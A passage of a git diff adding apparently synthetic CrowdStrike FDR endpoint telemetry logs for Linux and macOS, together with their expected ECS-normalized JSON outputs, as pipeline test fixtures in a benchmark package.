192.168.1.35\",\"MAC\":\"BB-AA-AA-AA-CC-CC\",\"MACPrefix\":\"BB-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"$192.168.1.129$;$192.168.1.35$\",\"__mv_aip\":\"$192.168.255.7$;$192.168.240.243$\",\"__mv_discoverer_aid\":\"\",\"_time\":\"1680769502.395\",\"aip\":\"192.168.255.7 192.168.240.243\",\"aipCount\":\"2\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"discovererCount\":\"1\",\"discoverer_aid\":\"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb\",\"localipCount\":\"2\",\"subnet\":\"192.168\"}" + }, + "host": { + "hostname": "xxxxxxxxxxxxxxxx", + "name": "xxxxxxxxxxxxxxxx" + }, + "observer": { + "address": [ + "192.168.255.7", + "192.168.240.243" + ], + "ip": [ + "192.168.255.7", + "192.168.240.243" + ] + }, + "related": { + "hosts": [ + "xxxxxxxxxxxxxxxx" + ], + "ip": [ + "192.168.255.7", + "192.168.240.243", + "192.168.1.129", + "192.168.1.35" + ] + }, + "source": { + "address": "192.168.1.35", + "ip": "192.168.1.35", + "mac": "BB-AA-AA-AA-CC-CC" + }, + "tags": [ + "preserve_original_event" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log new file mode 100644 index 0000000000..6ab6c2e541 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log @@ -0,0 +1,5 @@ +{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"} +{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ChangeTime":"1731329600.968","OciContainerId":"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd","CapPrm":"123438954321","ParentProcessId":"12347782548906","SourceProcessId":"12347782548906","aip":"89.160.20.128","SessionProcessId":"1234915117961","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1760406073.595","SVUID":"0","ParentBaseFileName":"runc","EventOrigin":"17","id":"1w23e4r-d03e-4003-bc75-71c6e819ca5f","EffectiveTransmissionClass":"2","Tags":"874, 17179870274, 12094627905582, 12094627906234, 212205744162400","timestamp":"1760406074201","ProcessGroupId":"1234915117961","LocalAddressIP4":"0.0.0.0","event_simpleName":"ProcessRollup2","RawProcessId":"1234","RootPath":"/","GID":"0","ConfigStateHash":"1026580567","UserName":"root","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"runc init","TargetProcessId":"12347783237538","ImageFileName":"/","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV12","RUID":"0","ProcessStartTime":"1760406073.568","ComputerName":"comp2","aid":"ffffffff62714a708030d494ca0a7e60","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json new file mode 100644 index 0000000000..f0114c8866 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json @@ -0,0 +1,556 @@ +{ + "expected": [ + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8308391500", + "ContextProcessId": "520000000560900", + "ContextTimeStamp": "2025-09-09T18:27:08.423Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "76", + "EnvironmentVariableName": "b644d55ace4f0d", + "EnvironmentVariableValue": "a8afe97c911df877fcbc6f0f3e1f509d3a", + "EventOrigin": "45", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "8cb2694b8b910f8a123d27da50bb85401acf", + "name": "12b047f65d9ece84f659a6b3826d14342284b30" + }, + "device": { + "id": "63c6b6246300091fe99c69eb0e5f2cf6" + }, + "event": { + "action": "CriticalEnvironmentVariableChanged", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "8cb2694b8b910f8a123d27da50bb85401acf|63c6b6246300091fe99c69eb0e5f2cf6|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"CriticalEnvironmentVariableChanged\",\"EnvironmentVariableName\":\"b644d55ace4f0d\",\"ContextTimeStamp\":\"1757442428.423\",\"ConfigStateHash\":\"8308391500\",\"ContextProcessId\":\"520000000560900\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"EnvironmentVariableValue\":\"a8afe97c911df877fcbc6f0f3e1f509d3a\",\"Entitlements\":\"76\",\"name\":\"12b047f65d9ece84f659a6b3826d14342284b30\",\"EventOrigin\":\"45\",\"id\":\"8cb2694b8b910f8a123d27da50bb85401acf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"63c6b6246300091fe99c69eb0e5f2cf6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "63c6b6246300091fe99c69eb0e5f2cf6", + "os": { + "type": "linux" + } + }, + "message": "CriticalEnvironmentVariableChanged", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "63c6b6246300091fe99c69eb0e5f2cf6", + "version": "2c8b.2.3366c72.4f" + }, + "process": { + "entity_id": "520000000560900", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "8308391500" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "1061106086", + "ContextProcessId": "1096090950008222800", + "ContextTimeStamp": "2025-09-06T11:25:36.727Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "26", + "EventOrigin": "1", + "UnixMode": "61960", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97", + "name": "1532ae7e2a105adcc6ddbcf67" + }, + "device": { + "id": "37b562b807a27cfb58dda71ec9a7eb22" + }, + "event": { + "action": "CriticalFileAccessed", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97|37b562b807a27cfb58dda71ec9a7eb22|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1757157936.727\",\"GID\":\"0\",\"ConfigStateHash\":\"1061106086\",\"ContextProcessId\":\"1096090950008222800\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"event_platform\":\"Lin\",\"UnixMode\":\"61960\",\"Entitlements\":\"26\",\"name\":\"1532ae7e2a105adcc6ddbcf67\",\"EventOrigin\":\"1\",\"id\":\"01a3b1d4aa10d5329aef78ba9d3ec56f6d97\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"37b562b807a27cfb58dda71ec9a7eb22\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/812/0bb09d\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "/812", + "name": "0bb09d", + "path": "/812/0bb09d", + "type": "file" + }, + "group": { + "id": "0" + }, + "host": { + "id": "37b562b807a27cfb58dda71ec9a7eb22", + "os": { + "type": "linux" + } + }, + "message": "CriticalFileAccessed", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "37b562b807a27cfb58dda71ec9a7eb22", + "version": "2c8b.2.3366c72.4f" + }, + "process": { + "entity_id": "1096090950008222800", + "group": { + "id": "0" + }, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "1061106086" + ], + "ip": [ + "89.160.20.128" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "CapPrm": "3800192030037", + "ConfigStateHash": "5001020160", + "ContextTimeStamp": "2025-07-12T19:58:22.359Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "56", + "EventOrigin": "45", + "RGID": "0", + "RUID": "0", + "SVGID": "0", + "SVUID": "0", + "SessionProcessId": "4102020000109002000", + "SourceProcessId": "8081349242194000050", + "SourceThreadId": "0", + "SyntheticPR2Flags": "4", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9", + "name": "4f32166a22f49735247598b45006" + }, + "device": { + "id": "8c687fb6b1e8231200c77ef5e3175d0e" + }, + "event": { + "action": "SyntheticProcessRollup2", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9|8c687fb6b1e8231200c77ef5e3175d0e|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"CapPrm\":\"3800192030037\",\"ParentProcessId\":\"8081349242194000050\",\"SourceProcessId\":\"8081349242194000050\",\"aip\":\"81.2.69.192\",\"SessionProcessId\":\"4102020000109002000\",\"SyntheticPR2Flags\":\"4\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1745972888.297\",\"SVUID\":\"0\",\"EventOrigin\":\"45\",\"id\":\"fb9bd5f0314e46ce785f479aed8f3032fcd9\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"ProcessGroupId\":\"7001610480104066706\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"8905032\",\"ContextTimeStamp\":\"1752350302.359\",\"GID\":\"0\",\"ConfigStateHash\":\"5001020160\",\"SVGID\":\"0\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"CommandLine\":\"e7f8eac7d\",\"TargetProcessId\":\"6059002040716020903\",\"ImageFileName\":\"/501e\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"56\",\"name\":\"4f32166a22f49735247598b45006\",\"ProcessStartTime\":\"1745953229.264\",\"RUID\":\"0\",\"aid\":\"8c687fb6b1e8231200c77ef5e3175d0e\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "group": { + "Ext": { + "real": { + "id": "0" + } + }, + "id": "0" + }, + "host": { + "id": "8c687fb6b1e8231200c77ef5e3175d0e", + "os": { + "type": "linux" + } + }, + "message": "SyntheticProcessRollup2", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "8c687fb6b1e8231200c77ef5e3175d0e", + "version": "2c8b.2.3366c72.4f" + }, + "process": { + "args": [ + "e7f8eac7d" + ], + "args_count": 1, + "command_line": "e7f8eac7d", + "end": "2025-04-30T00:28:08.297Z", + "entity_id": "6059002040716020903", + "executable": "/501e", + "group": { + "id": "0" + }, + "group_leader": { + "entity_id": "7001610480104066706" + }, + "name": "501e", + "parent": { + "entity_id": "8081349242194000050" + }, + "pgid": 7001610480104066706, + "pid": 8905032, + "real_group": { + "id": "0" + }, + "real_user": { + "id": "0" + }, + "start": "2025-04-29T19:00:29.264Z", + "uptime": 19 + }, + "related": { + "hash": [ + "5001020160" + ], + "ip": [ + "81.2.69.192" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "0" + } + }, + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8001020160", + "ContextProcessId": "9960000700989070560", + "ContextTimeStamp": "2025-06-30T16:13:50.984Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "36", + "EventOrigin": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "3e71b26395f4386bcb6602ee6777bb5f3124", + "name": "6b1c662a760f5ed9750d4" + }, + "device": { + "id": "12111f24f25a2a99438b40765c236577" + }, + "event": { + "action": "TerminateProcess", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "3e71b26395f4386bcb6602ee6777bb5f3124|12111f24f25a2a99438b40765c236577|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"1070050\",\"ContextTimeStamp\":\"1751300030.984\",\"ConfigStateHash\":\"8001020160\",\"ContextProcessId\":\"9960000700989070560\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"6960000700989070560\",\"Entitlements\":\"36\",\"name\":\"6b1c662a760f5ed9750d4\",\"EventOrigin\":\"1\",\"id\":\"3e71b26395f4386bcb6602ee6777bb5f3124\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"12111f24f25a2a99438b40765c236577\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "12111f24f25a2a99438b40765c236577", + "os": { + "type": "linux" + } + }, + "message": "TerminateProcess", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "12111f24f25a2a99438b40765c236577", + "version": "2c8b.2.3366c72.4f" + }, + "process": { + "entity_id": "6960000700989070560", + "pid": 1070050, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "8001020160" + ], + "ip": [ + "89.160.20.128" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-10-14T01:41:14.201Z", + "crowdstrike": { + "CapPrm": "123438954321", + "ChangeTime": "2024-11-11T12:53:20.968Z", + "ConfigStateHash": "1026580567", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "EventOrigin": "17", + "LocalAddressIP4": [ + "0.0.0.0" + ], + "MD5HashData": "88922d50263b059696c2af5a99906562", + "OciContainerId": "sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd", + "RGID": "0", + "RUID": "0", + "RootPath": "/", + "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", + "SVGID": "0", + "SVUID": "0", + "SessionProcessId": "1234915117961", + "SourceProcessId": "12347782548906", + "SourceThreadId": "0", + "Tags": [ + "874", + "17179870274", + "12094627905582", + "12094627906234", + "212205744162400" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f", + "name": "ProcessRollup2LinV12" + }, + "device": { + "id": "ffffffff62714a708030d494ca0a7e60" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2025-10-14T01:41:14.201Z", + "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"ChangeTime\":\"1731329600.968\",\"OciContainerId\":\"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd\",\"CapPrm\":\"123438954321\",\"ParentProcessId\":\"12347782548906\",\"SourceProcessId\":\"12347782548906\",\"aip\":\"89.160.20.128\",\"SessionProcessId\":\"1234915117961\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1760406073.595\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"runc\",\"EventOrigin\":\"17\",\"id\":\"1w23e4r-d03e-4003-bc75-71c6e819ca5f\",\"EffectiveTransmissionClass\":\"2\",\"Tags\":\"874, 17179870274, 12094627905582, 12094627906234, 212205744162400\",\"timestamp\":\"1760406074201\",\"ProcessGroupId\":\"1234915117961\",\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"1234\",\"RootPath\":\"/\",\"GID\":\"0\",\"ConfigStateHash\":\"1026580567\",\"UserName\":\"root\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"runc init\",\"TargetProcessId\":\"12347783237538\",\"ImageFileName\":\"/\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV12\",\"RUID\":\"0\",\"ProcessStartTime\":\"1760406073.568\",\"ComputerName\":\"comp2\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "group": { + "Ext": { + "real": { + "id": "0" + } + }, + "id": "0" + }, + "host": { + "hostname": "comp2", + "id": "ffffffff62714a708030d494ca0a7e60", + "name": "comp2", + "os": { + "type": "linux" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "ffffffff62714a708030d494ca0a7e60", + "version": "1007.4.0013701.1" + }, + "process": { + "args": [ + "runc", + "init" + ], + "args_count": 2, + "command_line": "runc init", + "end": "2025-10-14T01:41:13.595Z", + "entity_id": "12347783237538", + "executable": "/", + "group": { + "id": "0" + }, + "group_leader": { + "entity_id": "1234915117961" + }, + "hash": { + "md5": "88922d50263b059696c2af5a99906562", + "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6" + }, + "name": "runc", + "parent": { + "entity_id": "12347782548906", + "name": "runc" + }, + "pgid": 1234915117961, + "pid": 1234, + "real_group": { + "id": "0" + }, + "real_user": { + "id": "0" + }, + "start": "2025-10-14T01:41:13.568Z", + "uptime": 0 + }, + "related": { + "hash": [ + "88922d50263b059696c2af5a99906562", + "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", + "1026580567" + ], + "hosts": [ + "comp2" + ], + "ip": [ + "89.160.20.128", + "0.0.0.0" + ], + "user": [ + "root", + "0" + ] + }, + "source": { + "address": "0.0.0.0", + "ip": "0.0.0.0" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "0" + } + }, + "group": { + "id": "0" + }, + "id": "0", + "name": "root" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log new file mode 100644 index 0000000000..cdbb227d80 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log @@ -0,0 +1,18 @@ +{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"} +{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"} +{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"} +{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} 